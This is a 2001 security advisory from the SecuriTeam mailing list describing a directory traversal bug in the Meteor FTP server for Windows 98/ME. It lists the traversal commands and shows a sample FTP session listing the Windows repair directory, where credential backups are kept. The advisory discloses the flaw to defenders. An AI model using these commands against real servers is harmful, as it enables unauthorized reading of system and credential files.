[NT] Meteor FTPD Directory Traversal

From: support@securiteam.com
Date: 10/03/01


From: support@securiteam.com
To: list@securiteam.com
Subject: [NT] Meteor FTPD Directory Traversal
Message-Id: <20011003213827.4DADE138C2@mail.der-keiler.de>
Date: Wed,  3 Oct 2001 23:38:27 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
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  Meteor FTPD Directory Traversal
------------------------------------------------------------------------

SUMMARY

 <http://207.202.218.172/> Meteor FTP is a personal FTP server designed
for the Microsoft Windows 98 and Windows Millennium Edition operating
systems. A security vulnerability in the product allows access to
directories stored outside the normal bounding FTP root.

DETAILS

Cartel security team has found a Directory Traversal bug in the meteor FTP
server, allowing remote users to browse through any directory on the
victim's hard drive or list files outside the root directory. This is
possible by sending commands like:
ls ../*
ls /../*
ls .../*

cd ...

Example:
220 Service ready for new user Utilisateur (192.168.160.3:(none)) : nbz
331 User name okay, need password
Mot de passe :
230- Meteor FTP Version 1.0
230 User logged in, proceed
ftp> ls ../winnt/repair/*
200 Command OK
150 About to open data connection

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